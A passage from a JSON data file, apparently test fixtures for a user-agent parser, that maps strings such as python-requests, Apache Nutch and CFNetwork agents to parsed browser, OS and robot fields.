"", "robot_major" : "1", "robot_minor" : ".9", "robot_name" : "Apache Nutch", "robot_version" : "1.9" }, "python-requests/2.2.1 CPython/2.7.6 Linux/3.13.0-45-generic" : { "browser_beta" : ".1", "browser_major" : "2", "browser_minor" : ".2", "match" : [ "unix", "linux" ], "os" : "linux", "os_string" : "Linux", "robot" : 0 }, "python-requests/2.3.0 CPython/2.7.3 Linux/3.2.0-70-generic" : { "browser_beta" : ".0", "browser_major" : "2", "browser_minor" : ".3", "match" : [ "unix", "linux" ], "os" : "linux", "os_string" : "Linux", "robot" : 0 }, "python-requests/2.5.1 CPython/2.7.2 Windows/2008ServerR2" : { "browser_beta" : ".1", "browser_major" : "2", "browser_minor" : ".5", "match" : [ "windows" ], "robot" : 0 }, "python-requests/2.5.3 CPython/2.6.6 Linux/2.6.32-431.el6.x86_64" : { "browser_beta" : ".3", "browser_major" : "2", "browser_minor" : ".5", "match" : [ "unix", "linux" ], "os" : "linux", "os_string" : "Linux", "robot" : 0 }, "rf-chrome-nm-host/1 CFNetwork/673.4 Darwin/13.3.0 (x86_64) (Macmini3%2C1)" : { "browser_major" : "673", "browser_minor" : ".4", "match" : [], "robot" : 0 }, "the beast" : { "browser_major" : 0, "browser_minor" : ".0", "match" : [], "robot" : 0 }, "tsip-agent/Nutch-1.8" : { "browser_major" : 0, "browser_minor" : ".0", "match" : [ "nutch", "robot" ], "robot" : "nutch", "robot_beta" : "", "robot_major" : "1", "robot_minor" : ".8", "robot_name" : "Apache Nutch", "robot_version" : "1.8" }, "visionutils/0.2" : { "browser_major" : 0, "browser_minor" : ".2", "match" : [], "robot" : 0 } }